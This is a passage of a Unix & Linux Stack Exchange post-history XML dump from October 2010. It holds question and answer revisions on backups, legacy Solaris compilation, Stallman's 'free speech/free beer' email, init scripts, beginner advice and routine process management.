/usr/bin/openbox-session&#xD;&#xA;     3386 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3388 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3389 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3390 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**update**: or just run `pgrep string` &#xD;&#xA; [1]:http://unix.stackexchange.com/questions/2062/grep-why-do-brackets-in-grep-pattern-remove-the-grep-process-from-ps-results" />
  <row Id="7213" PostHistoryTypeId="2" PostId="3400" RevisionGUID="7192b1e4-3335-48b7-af70-08567e98a95e" CreationDate="2010-10-22T08:12:23.867" UserId="2393" Text="I like to split my data into two central folders: One (I call it normally /heap) with recoverable data which I don't have to backup (everything which is just a replication from a central server) and one (I use /data) for the rest. This makes automated backup mach easier than having to carry a list of directories which are under backup.&#xD;&#xA;&#xD;&#xA;That also means I split data from settings and keep just settings in /home as also recommended by Zypher." />
  <row Id="7214" PostHistoryTypeId="2" PostId="3401" RevisionGUID="8576fb74-63ba-479a-b500-a99487dfd9ec" CreationDate="2010-10-22T08:22:33.203" UserId="2393" Text="I've got sources for a program developed under Solaris in ANSI-C. I am told it was developed around 1996-1997. I'm currently struggling with compiling it under a current Ubuntu. I got pretty far and I think only the GUI is still missing. They used a library called guide for this it seems. Does anyone know, if this library still exists somewhere?" />
  <row Id="7215" PostHistoryTypeId="1" PostId="3401" RevisionGUID="8576fb74-63ba-479a-b500-a99487dfd9ec" CreationDate="2010-10-22T08:22:33.203" UserId="2393" Text="Compiling old solaris programs under Linux" />
  <row Id="7216" PostHistoryTypeId="3" PostId="3401" RevisionGUID="8576fb74-63ba-479a-b500-a99487dfd9ec" CreationDate="2010-10-22T08:22:33.203" UserId="2393" Text="ésolarisàélibrariesà" />
  <row Id="7217" PostHistoryTypeId="2" PostId="3402" RevisionGUID="879140f5-7d97-4c24-8566-a76f24523dba" CreationDate="2010-10-22T10:09:17.820" UserId="2269" Text="hi ,&#xD;&#xA;&#xD;&#xA;Please refer this link first and read the following content&#xD;&#xA;&#xD;&#xA;http://unix.stackexchange.com/questions/3289/free-as-in-speech-v-s-free-as-in-beer&#xD;&#xA;&#xD;&#xA;This is the reply i got from Mr.Richard Stallman as per my request&#xD;&#xA;&#xD;&#xA;From: Richard Stallman&#xD;&#xA;&#xD;&#xA;Date: Fri, Oct 22, 2010 at 9:12 AM&#xD;&#xA;&#xD;&#xA;Subject: Re: “free-as-in-speech” vs. &quot;free-as-in-beer”&#xD;&#xA;&#xD;&#xA;To: RENJITH G&#xD;&#xA;&#xD;&#xA;QN: I would like to know the exact meaning of &quot;free-as-in-speech&quot; and &quot;free-as-in-beer&quot;&#xD;&#xA;&#xD;&#xA;It is hard to give &quot;exact&quot; meanings for philosophical concepts, so I am a bit lost.&#xD;&#xA;&#xD;&#xA;The English word &quot;free&quot; has two different meanings. Many other languages have different words for them. For instance, I think Hindi has &quot;mukt&quot; for &quot;free as in freedom&quot; and &quot;muft&quot; for &quot;gratis, zero price'.&#xD;&#xA;&#xD;&#xA;QN: Also why this example words (the words free-as-in-speech and free-as-in-beer) are being used to descibe the concept?&#xD;&#xA;&#xD;&#xA;Those are not the words I use. I use &quot;free as in 'free speech'&quot; and &quot;free as in 'free beer'&quot;. Is that clearer?&#xD;&#xA;&#xD;&#xA;It seems you heard someone else shorten the two phrases a little.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;Richard Stallman&#xD;&#xA;&#xD;&#xA;President, Free Software Foundation&#xD;&#xA;&#xD;&#xA;51 Franklin St&#xD;&#xA;&#xD;&#xA;Boston MA 02110&#xD;&#xA;&#xD;&#xA;USA&#xD;&#xA;&#xD;&#xA;www.fsf.org, www.gnu.org" />
  <row Id="7218" PostHistoryTypeId="5" PostId="3402" RevisionGUID="fe8aba5b-1987-4836-b49f-7eae00b8f00e" CreationDate="2010-10-22T10:13:05.500" UserId="1941" Comment="changed link to point to the relevant answer" Text="hi ,&#xD;&#xA;&#xD;&#xA;Please refer this link first and read the following content&#xD;&#xA;&#xD;&#xA;http://unix.stackexchange.com/questions/3289/free-as-in-speech-vs-free-as-in-beer/3291#3291&#xD;&#xA;&#xD;&#xA;This is the reply i got from Mr.Richard Stallman as per my request&#xD;&#xA;&#xD;&#xA;From: Richard Stallman&lt;br&gt;&#xD;&#xA;Date: Fri, Oct 22, 2010 at 9:12 AM&lt;br&gt;&#xD;&#xA;Subject: Re: “free-as-in-speech” vs. &quot;free-as-in-beer”&lt;br&gt;&#xD;&#xA;To: RENJITH G&lt;br&gt;&#xD;&#xA;&#xD;&#xA;QN: I would like to know the exact meaning of &quot;free-as-in-speech&quot; and &quot;free-as-in-beer&quot;&#xD;&#xA;&#xD;&#xA;It is hard to give &quot;exact&quot; meanings for philosophical concepts, so I am a bit lost.&#xD;&#xA;&#xD;&#xA;The English word &quot;free&quot; has two different meanings. Many other languages have different words for them. For instance, I think Hindi has &quot;mukt&quot; for &quot;free as in freedom&quot; and &quot;muft&quot; for &quot;gratis, zero price'.&#xD;&#xA;&#xD;&#xA;QN: Also why this example words (the words free-as-in-speech and free-as-in-beer) are being used to descibe the concept?&#xD;&#xA;&#xD;&#xA;Those are not the words I use. I use &quot;free as in 'free speech'&quot; and &quot;free as in 'free beer'&quot;. Is that clearer?&#xD;&#xA;&#xD;&#xA;It seems you heard someone else shorten the two phrases a little.&#xD;&#xA;&#xD;&#xA;--&lt;br&gt;&#xD;&#xA;Richard Stallman&lt;br&gt;&#xD;&#xA;President, Free Software Foundation&lt;br&gt;&#xD;&#xA;51 Franklin St&lt;br&gt;&#xD;&#xA;Boston MA 02110&lt;br&gt;&#xD;&#xA;USA&lt;br&gt;&#xD;&#xA;www.fsf.org, www.gnu.org" />
  <row Id="7219" PostHistoryTypeId="5" PostId="3401" RevisionGUID="b62e3bc8-add2-4918-b73e-815735e80843" CreationDate="2010-10-22T10:19:23.707" UserId="1941" Comment="added 249 characters in body; deleted 243 characters in body" Text="I've got sources for a program developed under Solaris in ANSI-C. I am told it was developed around 1996-1997. I'm currently struggling with compiling it under a current Ubuntu. I got pretty far and I think only the GUI is still missing. They used a library called guide for this it seems. Does anyone know, if this library still exists somewhere?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7220" PostHistoryTypeId="8" PostId="3401" RevisionGUID="8607b25f-a9c5-4e88-9d5e-2bc9b3631c99" CreationDate="2010-10-22T10:20:10.573" UserId="2393" Comment="Rollback to [8576fb74-63ba-479a-b500-a99487dfd9ec]" Text="I've got sources for a program developed under Solaris in ANSI-C. I am told it was developed around 1996-1997. I'm currently struggling with compiling it under a current Ubuntu. I got pretty far and I think only the GUI is still missing. They used a library called guide for this it seems. Does anyone know, if this library still exists somewhere?" />
  <row Id="7221" PostHistoryTypeId="5" PostId="3401" RevisionGUID="d563643a-9bff-4103-b5d6-7fc959921bb1" CreationDate="2010-10-22T10:20:32.523" UserId="2393" Comment="added 247 characters in body" Text="I've got sources for a program developed under Solaris in ANSI-C. I am told it was developed around 1996-1997. I'm currently struggling with compiling it under a current Ubuntu. I got pretty far and I think only the GUI is still missing. They used a library called guide for this it seems. Does anyone know, if this library still exists somewhere?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The relevant parts of the Makefile:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    INCL    = -I$(GUIDEHOME)/include -I$(OPENWINHOME)/include&#xD;&#xA;    LOAD    = -L$(GUIDEHOME)/lib -L$(OPENWINHOME)/lib&#xD;&#xA;    LIB     = -lguide -lguidexv -lxview -lolgx -lX -lm&#xD;&#xA;    TAG     = -target sun4" />
  <row Id="7222" PostHistoryTypeId="2" PostId="3403" RevisionGUID="2414611c-8403-4ca9-9945-c6a2e675ea07" CreationDate="2010-10-22T12:22:44.987" UserId="29" Text="All of this is being served by Samba? I'd say for example `/srv/smb/music` is approprate then.&#xD;&#xA;&#xD;&#xA;Per the [FHS][1] &lt;blockquote&gt;/srv contains site-specific data which is served by this system.&#xD;&#xA;&#xD;&#xA; Rationale&#xD;&#xA;  &#xD;&#xA;This main purpose of specifying this is so that users may find the location of the data files for particular service, and so that services which require a single tree for readonly data, writable data and scripts (such as cgi scripts) can be reasonably placed. Data that is only of interest to a specific user should go in that users' home directory.&#xD;&#xA;&#xD;&#xA;The methodology used to name subdirectories of /srv is unspecified as there is currently no consensus on how this should be done. One method for structuring data under /srv is by protocol, eg. ftp, rsync, www, and cvs. On large systems it can be useful to structure /srv by administrative context, such as /srv/physics/www, /srv/compsci/cvs, etc. This setup will differ from host to host. Therefore, no program should rely on a specific subdirectory structure of /srv existing or data necessarily being stored in /srv. However /srv should always exist on FHS compliant systems and should be used as the default location for such data.&#xD;&#xA;&#xD;&#xA;Distributions must take care not to remove locally placed files in these directories without administrator permission.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://SRVDATAFORSERVICESPROVIDEDBYSYSTEM" />
  <row Id="7223" PostHistoryTypeId="2" PostId="3404" RevisionGUID="36dc0d6d-481f-4be7-9e10-29bbcbcc9190" CreationDate="2010-10-22T12:43:44.563" UserId="481" Text="Since the application responsible for drawing the desktop, is nautilus not gnome-panel, you might have more luck by looking at nautilus' settings.&#xD;&#xA;&#xD;&#xA;Specifically, if the gconf-key `apps/nautilus/preferences/show_desktop` is set to false, nautilus won't show any desktop icons. So if the key is set to false, you should change it to true.&#xD;&#xA;&#xD;&#xA;If that's not the case, you might try to backup and delete your nautilus settings same way you did with your gnome-panel settings." />
  <row Id="7224" PostHistoryTypeId="2" PostId="3405" RevisionGUID="930ef3ee-a28b-49ea-bd37-58ffcec6a645" CreationDate="2010-10-22T12:58:22.597" UserId="1294" Text="From your description it appears that these were written against the [SunOS Xview Code Generation Suite][1]. I have a dim memory of this package which is probably roughly analogous to GTK or Java Swing, but predates most of their concepts and mechanism.&#xD;&#xA;&#xD;&#xA;I expect the best that you can do is either:&#xD;&#xA;&#xD;&#xA;  1. Write a library that simulates libguide which is fraught with error or&#xD;&#xA;  2. Yank out the affected UI code and replace it with your own perhaps using something like [glade][2] &#xD;&#xA;&#xD;&#xA;I don't envy you this task.&#xD;&#xA;&#xD;&#xA; [1]:http://docs.sun.com/app/docs/doc/801-6665/6i11c1u37?l=pt&amp;a=view&#xD;&#xA; [2]:http://glade.gnome.org/" />
  <row Id="7225" PostHistoryTypeId="2" PostId="3406" RevisionGUID="2669620a-d7ca-426d-bde2-4e1fa9989eba" CreationDate="2010-10-22T13:00:37.413" UserId="1294" Text="I think the service is called http://www.unix.stackexchange.com." />
  <row Id="7226" PostHistoryTypeId="2" PostId="3407" RevisionGUID="c1bffae7-b94f-4234-af62-bf32a946a58d" CreationDate="2010-10-22T14:06:35.093" UserId="396" Text="CentOS init scripts use /etc/init.d/functions, which declares a &quot;daemon&quot; function that most other init scripts use. But daemon doesn't accept any group flags.&#xD;&#xA;&#xD;&#xA;It ends up calling:&#xD;&#xA;&#xD;&#xA;    $nice runuser -s /bin/bash - $user -c &quot;$corelimit &gt;/dev/null 2&gt;&amp;1 ; $*&quot;&#xD;&#xA;&#xD;&#xA;A quick `/sbin/runuser --help` shows that runuser accepts a flag to specify group, so try:&#xD;&#xA;&#xD;&#xA;    runuser -g $group; daemon ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7228" PostHistoryTypeId="5" PostId="3402" RevisionGUID="5999c609-9d45-4fb4-84c0-d750616a65fd" CreationDate="2010-10-22T15:03:57.780" UserId="73" Comment="added 46 characters in body" Text="As I mentioned in the comments [here](http://unix.stackexchange.com/questions/3289/free-as-in-speech-vs-free-as-in-beer/3291#3291), I e-mailed Mr. Richard Stallman about this. Here is his reply:&#xD;&#xA;&#xD;&#xA;&gt; From: Richard Stallman&lt;br&gt; Date: Fri,&#xD;&#xA;&gt; Oct 22, 2010 at 9:12 AM&lt;br&gt; Subject:&#xD;&#xA;&gt; Re: “free-as-in-speech” vs.&#xD;&#xA;&gt; &quot;free-as-in-beer”&lt;br&gt; To: RENJITH&#xD;&#xA;&gt; G&lt;br&gt;&#xD;&#xA;&gt; &#xD;&#xA;&gt; QN: I would like to know the exact&#xD;&#xA;&gt; meaning of &quot;free-as-in-speech&quot; and&#xD;&#xA;&gt; &quot;free-as-in-beer&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; It is hard to give &quot;exact&quot; meanings&#xD;&#xA;&gt; for philosophical concepts, so I am a&#xD;&#xA;&gt; bit lost.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The English word &quot;free&quot; has two&#xD;&#xA;&gt; different meanings. Many other&#xD;&#xA;&gt; languages have different words for&#xD;&#xA;&gt; them. For instance, I think Hindi has&#xD;&#xA;&gt; &quot;mukt&quot; for &quot;free as in freedom&quot; and&#xD;&#xA;&gt; &quot;muft&quot; for &quot;gratis, zero price'.&#xD;&#xA;&gt; &#xD;&#xA;&gt; QN: Also why this example words (the&#xD;&#xA;&gt; words free-as-in-speech and&#xD;&#xA;&gt; free-as-in-beer) are being used to&#xD;&#xA;&gt; descibe the concept?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Those are not the words I use. I use&#xD;&#xA;&gt; &quot;free as in 'free speech'&quot; and &quot;free&#xD;&#xA;&gt; as in 'free beer'&quot;. Is that clearer?&#xD;&#xA;&gt; &#xD;&#xA;&gt; It seems you heard someone else&#xD;&#xA;&gt; shorten the two phrases a little.&#xD;&#xA;&gt; &#xD;&#xA;&gt; --&lt;br&gt; Richard Stallman&lt;br&gt; President, Free Software Foundation&lt;br&gt; 51&#xD;&#xA;&gt; Franklin St&lt;br&gt; Boston MA 02110&lt;br&gt;&#xD;&#xA;&gt; USA&lt;br&gt; www.fsf.org, www.gnu.org" />
  <row Id="7229" PostHistoryTypeId="5" PostId="1688" RevisionGUID="6c9f8cf0-7cc9-4a27-a0bd-49cd512395df" CreationDate="2010-10-22T15:08:40.900" UserId="1327" Comment="added 34 characters in body" Text="[ArchLinux](http://wiki.archlinux.org/index.php/Arch_VServer#.2Fetc.2Frc.shutdown) does have a `/etc/rc.local.shutdown` file for this. I'm not sure about other distros" />
  <row Id="7230" PostHistoryTypeId="2" PostId="3408" RevisionGUID="63c80203-3296-4153-b1c2-7d6aef49c3ed" CreationDate="2010-10-22T15:18:31.677" UserId="33" Text="In [Gentoo][1] the &quot;local&quot; script does exactly what you ask for: It runs certain user specified commands upon 'start' and another set of commands upon 'stop'. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gentoo.org" />
  <row Id="7231" PostHistoryTypeId="2" PostId="3409" RevisionGUID="66bbe43c-fd58-46a9-b844-b80edcf502fb" CreationDate="2010-10-22T15:32:28.727" UserId="2397" Text="i am a beginner, i want to learn unix and linux, and be a proffesional. where should i start? " />
  <row Id="7232" PostHistoryTypeId="1" PostId="3409" RevisionGUID="66bbe43c-fd58-46a9-b844-b80edcf502fb" CreationDate="2010-10-22T15:32:28.727" UserId="2397" Text="Beginning to learn Unix And Linux" />
  <row Id="7233" PostHistoryTypeId="3" PostId="3409" RevisionGUID="66bbe43c-fd58-46a9-b844-b80edcf502fb" CreationDate="2010-10-22T15:32:28.727" UserId="2397" Text="élinuxà" />
  <row Id="7234" PostHistoryTypeId="5" PostId="3409" RevisionGUID="8f5efaad-5a76-4d21-8df7-78a6ca04dd0d" CreationDate="2010-10-22T15:44:37.263" UserId="1327" Comment="added 3 characters in body" Text="I am a beginner, I want to learn unix and linux, and be a professional.&#xD;&#xA;&#xD;&#xA;Where should I start? " />
  <row Id="7235" PostHistoryTypeId="2" PostId="3410" RevisionGUID="d7116fca-9831-4857-b52a-e368b8e98d7a" CreationDate="2010-10-22T16:01:00.870" UserId="1327" Text="To get profecient with unix, you will need to work on it regurarly. **Practise makes perfect**.&#xD;&#xA;&#xD;&#xA;Firstly, I would suggest that you pick a Linux distribution. Don't worry about picking the best one for you yet, when you are ready you will find the one. For a beginner, something like Ubuntu will be good enough.&#xD;&#xA;&#xD;&#xA;Problems will arise, be ready for them. Ask question on the web ( here on Unix SE or at other forums ), the linux community ( more correct is the &quot;opensource community&quot; ) is a helpfull community.&#xD;&#xA;&#xD;&#xA;Now you will need to try and **perform basic tasks** on your shiny new OS. Chatting, Browsing, typeing up documents, emailing, watching movies, etc. *Use Linux for everything.*&#xD;&#xA;&#xD;&#xA;Be aware that Linux does have a learning curve, and that you will need to **dedicate time** to it if you want to become professional." />
  <row Id="7236" PostHistoryTypeId="2" PostId="3411" RevisionGUID="fec0583c-8cb1-4aef-ae29-e63b22642cb6" CreationDate="2010-10-22T16:01:28.997" UserId="2275" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm trying to figure out how the init system works for these distributions, but they seem to use different layouts... How do each of them work?" />
  <row Id="7237" PostHistoryTypeId="1" PostId="3411" RevisionGUID="fec0583c-8cb1-4aef-ae29-e63b22642cb6" CreationDate="2010-10-22T16:01:28.997" UserId="2275" Text="difference between Fedora's, openSUSE's, and Mandriva's initscripts?" />
  <row Id="7238" PostHistoryTypeId="3" PostId="3411" RevisionGUID="fec0583c-8cb1-4aef-ae29-e63b22642cb6" CreationDate="2010-10-22T16:01:28.997" UserId="2275" Text="éfedoraàéopensuseàéinitöscriptà" />
  <row Id="7239" PostHistoryTypeId="2" PostId="3412" RevisionGUID="4225f028-e75b-41d8-85ed-f1caaa51657a" CreationDate="2010-10-22T16:08:10.187" UserId="2275" Text="You should try starting with friendly Linux distributions, like Ubuntu or PCLinuxOS." />
  <row Id="7240" PostHistoryTypeId="5" PostId="3410" RevisionGUID="dc02db4e-0760-4b44-8d2a-37ba23eacd3d" CreationDate="2010-10-22T16:11:18.577" UserId="1327" Comment="added 79 characters in body" Text="To get proficient with unix, you will need to work on it regurarly. **Practise makes perfect**.&#xD;&#xA;&#xD;&#xA;Firstly, I would suggest that you pick a Linux distribution. Don't worry *too much* about picking the best one for you yet, *when you are ready you will find the one*. For a beginner, something like Ubuntu will be good enough.&#xD;&#xA;&#xD;&#xA;Problems will arise, be ready for them. Ask question on the web ( here on Unix SE or at other forums ), the linux community ( more correct is the &quot;opensource community&quot; ) is a helpfull community. The more you partake in that community, the faster you will learn.&#xD;&#xA;&#xD;&#xA;Now you will need to try and **perform basic tasks** on your shiny new OS. Chatting, Browsing, typing up documents, emailing, watching movies, etc. *Use Linux for everything.*&#xD;&#xA;&#xD;&#xA;Be aware that Linux does have a learning curve, and that you will need to **dedicate time** to it if you want to become professional." />
  <row Id="7241" PostHistoryTypeId="5" PostId="3410" RevisionGUID="b9545ef1-9008-4c67-bf92-980b6126d7a8" CreationDate="2010-10-22T16:16:23.450" UserId="1327" Comment="added 158 characters in body" Text="To get proficient with unix, you will need to work on it regurarly. **Practise makes perfect**.&#xD;&#xA;&#xD;&#xA;Firstly, I would suggest that you pick a [Linux distribution][4]. Don't worry *too much* about picking the best one for you yet, *when you are ready you will find the one*. For a beginner, a distro like [Ubuntu][2] will be good enough.&#xD;&#xA;&#xD;&#xA;Problems will arise, be ready for them. Ask question on the web ( [here on Unix SE][1] or at other forums ), the linux community ( more correct is the &quot;opensource community&quot; ) is a helpfull community. The more you partake in that community, the faster you will learn.&#xD;&#xA;&#xD;&#xA;Now you will need to try and **perform basic tasks** on your shiny new OS. Chatting, Browsing, typing up documents, emailing, watching movies, etc. *Use Linux for everything.*&#xD;&#xA;&#xD;&#xA;Be aware that Linux does have a learning curve, and that you will need to **dedicate time** to it if you want to become professional.&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/&#xD;&#xA;[2]:http://ubuntu.com/&#xD;&#xA;[3]:http://distrowatch.com/&#xD;&#xA;[4]:http://en.wikipedia.org/wiki/Linux_distribution" />
  <row Id="7242" PostHistoryTypeId="2" PostId="3413" RevisionGUID="53a1d8e4-27bd-4ac7-8c0a-219d370ba193" CreationDate="2010-10-22T16:55:35.113" UserId="2397" Text="i installed ubuntu 10.0.4, but when i tried to login i found out that my keyboard is inactive,&#xD;&#xA;i searched the internet and learnd to activate onscreen keyboard, when i tried to do so i realized that onscreen keyboard comes up and disappears immediately after that, i don't know what's hapenning but i need to login into ubuntu. can anyone help me?&#xD;&#xA;Thanks in advance." />
  <row Id="7243" PostHistoryTypeId="1" PostId="3413" RevisionGUID="53a1d8e4-27bd-4ac7-8c0a-219d370ba193" CreationDate="2010-10-22T16:55:35.113" UserId="2397" Text="Ubuntu Login for first time" />
  <row Id="7244" PostHistoryTypeId="3" PostId="3413" RevisionGUID="53a1d8e4-27bd-4ac7-8c0a-219d370ba193" CreationDate="2010-10-22T16:55:35.113" UserId="2397" Text="éubuntuàéloginà" />
  <row Id="7245" PostHistoryTypeId="5" PostId="3410" RevisionGUID="28deba1d-b99c-4403-a733-11f88961ebf0" CreationDate="2010-10-22T17:27:16.753" UserId="73" Comment="deleted 1 characters in body" Text="To get proficient with unix, you will need to work on it regularly. **Practise makes perfect**.&#xD;&#xA;&#xD;&#xA;Firstly, I would suggest that you pick a [Linux distribution][4]. Don't worry *too much* about picking the best one for you yet, *when you are ready you will find the one*. For a beginner, a distro like [Ubuntu][2] will be good enough.&#xD;&#xA;&#xD;&#xA;Problems will arise, be ready for them. Ask question on the web ( [here on Unix SE][1] or at other forums ), the linux community ( more correct is the &quot;opensource community&quot; ) is a helpful community. The more you partake in that community, the faster you will learn.&#xD;&#xA;&#xD;&#xA;Now you will need to try and **perform basic tasks** on your shiny new OS. Chatting, Browsing, typing up documents, emailing, watching movies, etc. *Use Linux for everything.*&#xD;&#xA;&#xD;&#xA;Be aware that Linux does have a learning curve, and that you will need to **dedicate time** to it if you want to become professional.&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/&#xD;&#xA;[2]:http://ubuntu.com/&#xD;&#xA;[3]:http://distrowatch.com/&#xD;&#xA;[4]:http://en.wikipedia.org/wiki/Linux_distribution" />
  <row Id="7246" PostHistoryTypeId="2" PostId="3414" RevisionGUID="aeb47b13-f8df-4103-a9dd-19e0f3b30dc8" CreationDate="2010-10-22T18:50:02.230" UserId="440" Text="Here are a few thing's I'd change/check:&#xD;&#xA;&#xD;&#xA;Use the new GSS export syntax and allow integrity/privacy protection:&#xD;&#xA;&#xD;&#xA;    /test (sec=krb5:krb5i:krb5p,rw,sync)&#xD;&#xA;&#xD;&#xA;Make sure required kernel modules are availabe: `rpcsec_gss_krb5`, `auth_rpcgss`&#xD;&#xA;&#xD;&#xA;Check the mount command options - which you could also add to your question." />
  <row Id="7247" PostHistoryTypeId="2" PostId="3415" RevisionGUID="090eea39-7b0c-48b0-ade1-bf1469ab2207" CreationDate="2010-10-22T19:10:00.370" UserId="2341" Text="My suggestion would be to NOT start out with a &quot;beginner&quot; distro like Ubuntu. How many *nix servers have a GUI running on them?&#xD;&#xA;&#xD;&#xA;What I did was start out with Slackware (http://www.slackware.com) and learned how to install, configure, and use a *nix system.&#xD;&#xA;&#xD;&#xA;Slackware is a hands-on system that requires you know what you're doing to make things happen.&#xD;&#xA;&#xD;&#xA;Lastly, if you haven't before, I'd suggest building your own PC and using Slackware as the OS for your home-brew system (also what I did).&#xD;&#xA;&#xD;&#xA;You will learn A LOT by going this route.&#xD;&#xA;&#xD;&#xA;If you want to take your learning to another level I'd highly suggest rolling your own system via &quot;Linux From Scratch&quot; (http://www.linuxfromscratch.org/).&#xD;&#xA;&#xD;&#xA;Good luck with your educational endeavors!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;~ tim" />
  <row Id="7248" PostHistoryTypeId="2" PostId="3416" RevisionGUID="59b2f683-6405-4f1b-8ac5-09e4eb37a5c8" CreationDate="2010-10-22T19:48:27.950" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;Is it possible to kill a process running in an Ubuntu machine from a Windows(XP) machine remotely connected via LAN ?&#xD;&#xA;&#xD;&#xA;I can kill the process in a windows machine from a remote windows machine (in LAN) by the following command,&#xD;&#xA;&#xD;&#xA;taskkill /S system /U username /P password  /IM process.exe&#xD;&#xA;&#xD;&#xA;Is there any thing like that to kill the process running in the LINUX machine ?&#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="7249" PostHistoryTypeId="1" PostId="3416" RevisionGUID="59b2f683-6405-4f1b-8ac5-09e4eb37a5c8" CreationDate="2010-10-22T19:48:27.950" UserId="2269" Text="Killing a running process in an Ubuntu machine remotely from a windows machine which is in LAN" />
  <row Id="7250" PostHistoryTypeId="3" PostId="3416" RevisionGUID="59b2f683-6405-4f1b-8ac5-09e4eb37a5c8" CreationDate="2010-10-22T19:48:27.950" UserId="2269" Text="élinuxàéprocessàéwindowsà" />
  <row Id="7251" PostHistoryTypeId="2" PostId="3417" RevisionGUID="510d6d62-70d6-4956-8f4a-d18885937759" CreationDate="2010-10-22T19:49:03.193" UserId="2397" Text="Yes i meant 10.04, i fixed it. &#xD;&#xA;i just needed to shut it down and boot it again. Then the onscreen keyboard would appear.&#xD;&#xA;but you would need to use onscreen keyboard every time you would login your ubuntu.&#xD;&#xA;you can fix this using following instructions:&#xD;&#xA;&#xD;&#xA;1. first login to your ubuntu 10.04&#xD;&#xA;2. open a terminal&#xD;&#xA;3. type &quot;sudo dpkg-reconfigure console-setup&quot;&#xD;&#xA;4. follow the instructions you see on your terminal.&#xD;&#xA;5. enjoy using ubuntu." />
  <row Id="7252" PostHistoryTypeId="2" PostId="3418" RevisionGUID="429f0968-95a7-4941-a6fc-9738445d46ce" CreationDate="2010-10-22T20:03:48.870" UserId="614" Text="Do you have SSH or Telnet access to the Linux machine?  (Typically, SSH is more reliable in trouble situations, but either can work.)&#xD;&#xA;&#xD;&#xA;Login, use `top` or `ps` to get the process id (pid) of whatever needs killing, and then kill away with `kill PID` or `kill -9 PID` on the command line.  If you have a new enough system, you can even kill processes from within `top` by choosing one and pressing 'k'.&#xD;&#xA;&#xD;&#xA;Furthermore, `ssh` and `rsh` can be used to remotely execute commands without the whole interactive login session, if that's what you end up needing in the future." />
  <row Id="7253" PostHistoryTypeId="5" PostId="3418" RevisionGUID="d802409a-2965-4f64-b65f-3fc092948139" CreationDate="2010-10-22T20:09:04.260" UserId="614" Comment="added 33 characters in body; added 2 characters in body; added 10 characters in body" Text="Do you have SSH or Telnet access to the Linux machine?  (Typically, SSH is more reliable in trouble situations, but either can work.)&#xD;&#xA;&#xD;&#xA;Login, use `top`, `ps`, or `pgrep` to get the process id (pid) of whatever needs killing, and then kill away with `kill PID` or `kill -9 PID` on the command line.  If you have a new enough system, you can even kill processes from within `top` by choosing one and pressing 'k'.&#xD;&#xA;&#xD;&#xA;Furthermore, `ssh` and `rsh` can be used to remotely execute commands without the whole interactive login session, if that's what you end up needing in the future:&#xD;&#xA;&#xD;&#xA;    $ ssh USER@HOSTNAME COMMAND" />
  <row Id="7254" PostHistoryTypeId="2" PostId="3419" RevisionGUID="ffeb17a3-ddac-4aaf-ace8-9306f97e9984" CreationDate="2010-10-22T20:14:12.407" UserId="614" Text="http://distrowatch.com/ will, at least, tell you what software is available in what distro..." />
  <row Id="7255" PostHistoryTypeId="12" PostId="3419" RevisionGUID="1b3f9ca4-7544-4e0c-bed1-ac115420ff37" CreationDate="2010-10-22T20:14:50.983" UserId="614" Text="[{&quot;Id&quot;:614,&quot;DisplayName&quot;:&quot;Kevin Cantu&quot;}]" />
  <row Id="7256" PostHistoryTypeId="13" PostId="3419" RevisionGUID="76318136-ff7d-4d3d-9cce-8d9495216548" CreationDate="2010-10-22T20:15:29.843" UserId="614" Text="[{&quot;Id&quot;:614,&quot;DisplayName&quot;:&quot;Kevin Cantu&quot;}]" />
  <row Id="7257" PostHistoryTypeId="2" PostId="3420" RevisionGUID="3cbca14c-b48d-4c25-86dc-0bbe70e51f4a" CreationDate="2010-10-22T20:49:26.123" UserId="1571" Text="This is a shot in the dark, but you could try adding `i8042.nopnp` to your boot line in grub. " />
  <row Id="7258" PostHistoryTypeId="6" PostId="3411" RevisionGUID="0fb02049-1da6-4a87-8102-b8aec5fc2197" CreationDate="2010-10-22T21:48:17.387" UserId="29" Comment="add mandriva tag" Text="éfedoraàéopensuseàéinitöscriptàémandrivaà" />
  <row Id="7259" PostHistoryTypeId="2" PostId="3421" RevisionGUID="a187fb40-0715-48cc-8a16-52f5392e9940" CreationDate="2010-10-22T23:06:36.177" UserId="1898" Text="The Linux Documentation Project (TLDP) has some very useful guides.&#xD;&#xA;&#xD;&#xA;www.tldp.org" />
  <row Id="7260" PostHistoryTypeId="2" PostId="3422" RevisionGUID="3a93d05f-e709-4b4c-ae9d-4e762665beb9" CreationDate="2010-10-23T00:30:02.657" UserDisplayName="please help" Text="I was able to use the up/dow arrow to cycle through previous commands, now when I press a directional key it outputs &quot;^[[A&quot;. I'm running on a bash shell. How do I fix this? It's driving me crazy. Thanks&#xD;&#xA;" />
  <row Id="7261" PostHistoryTypeId="1" PostId="3422" RevisionGUID="3a93d05f-e709-4b4c-ae9d-4e762665beb9" CreationDate="2010-10-23T00:30:02.657" UserDisplayName="please help" Text="How do I fix unix so that I can use the cursor on the shell?" />
  <row Id="7262" PostHistoryTypeId="3" PostId="3422" RevisionGUID="3a93d05f-e709-4b4c-ae9d-4e762665beb9" CreationDate="2010-10-23T00:30:02.657" UserDisplayName="please help" Text="éunixà" />
